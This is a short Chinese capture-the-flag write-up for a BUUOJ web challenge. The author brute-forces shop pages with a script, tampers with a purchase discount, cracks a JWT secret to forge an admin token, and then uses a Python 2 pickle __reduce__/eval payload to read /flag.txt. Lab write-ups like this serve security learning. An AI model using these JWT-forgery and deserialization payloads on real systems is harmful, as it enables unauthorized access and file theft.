当时没做出来,大佬复现了环境就做一波
题目
第一步提示我们要找到lv6
写个脚本找一下
import requests
url="http://web44.buuoj.cn/shop?page="
for i in range(0,2000):
r=requests.get(url+str(i))
if 'lv6.png' in r.text:
print (i)
break
跑的有点慢
找到了lv6发现买不起
应该是要抓包修改
改折扣
然后拿到了后台的地址http://web44.buuoj.cn/b1g_m4mber
但需要权限,这里涉及JWT破解了解JWT
先将JWT base64解码一下
看到username是我自己的登陆名5,这里需要改为admin
后边解码不出来因为经过了sha256,需要破解key
找了一个工具破的破解工具
然后伪造我们的jwt生成jwt的网站
好的进来了
在页面源码里看到了下载的路径
下载
打开之后找到了一个python反序列化的地方,在 admin.py
太菜了payload不会生成 看的大佬的
用py2跑
py3序列化pickle.dumps之后的结果和py2的不一样
怀疑是库的问题
这里用了Pickle协议的方法__reduce__(self)
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
这样就可以打印flag.txt里的内容了
将生成的payload传给become
拿到flag
在这里插入图片描述